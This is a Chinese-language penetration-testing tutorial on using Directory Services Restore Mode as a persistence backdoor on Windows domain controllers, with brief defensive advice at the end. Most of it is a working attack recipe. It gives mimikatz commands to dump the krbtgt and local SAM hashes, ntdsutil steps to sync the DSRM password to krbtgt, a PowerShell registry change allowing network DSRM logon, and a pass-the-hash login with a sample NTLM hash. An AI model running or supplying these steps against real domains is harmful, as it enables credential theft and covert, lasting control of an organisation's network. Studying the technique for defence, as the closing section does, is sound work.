一、DSRM域后门介绍
目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。
在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。
每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
二、DSRM域后门过程
1、使用mimikatz查看krbtgt的NTLM hash
在域控制器中打开mimikatz,分别输入如下命令
privilege::debug
lsadump::lsa /patch /name:krbtgt
可以看到krbtgt的NTLM Hash为375892441bee1134ffee32deb81d4a70
2、使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash
在域控制器中打开mimikatz,分别输入如下命令
token::elevate
lsadump::sam
本地管理员账号也就是DSRM账号的NTLM Hash为6ffa4e2d80be9ac28ff2e2b06980d677
3、将DSRM账号和krbtgt的NTLM Hash同步(为DSRM设置新密码)
NTDSUTIL:打开ntdsutil set DSRM password:修改DSRM的密码 sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步 q(第1次):退出DSRM密码设置模式 q(第2次):退出ntdsutil
4、查看DSRM的NTLM Hash是否同步成功
在域控制器中打开mimikatz,可以看到此时DSRM的hash就和krbtgt的NTLM Hash一样了,为375892441bee1134ffee32deb81d4a70
5、修改DSRM的登录方式
DSRM有三种登录方式,具体如下:
- 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
- 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。
New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
6、使用DSRM账号通过网络远程登录域控制器
在任意一台域成员主机上或者域控本机上,输入如下内容
privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:375892441bee1134ffee32deb81d4a70
成功后会弹出一个弹框,从而达到权限维持的目的
三、防御
1、定期检查注册表中用于控制DSRM登录方式的键值 HKLMSystemCurrentControlSetControlLsaDsrmAdminLogonBehavior,确认该兼职为1,或者删除该键值
2、定期修改域中所有域控制器的DSRM账号
3、经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中
参考:《内网安全攻防-渗透测试实战指南》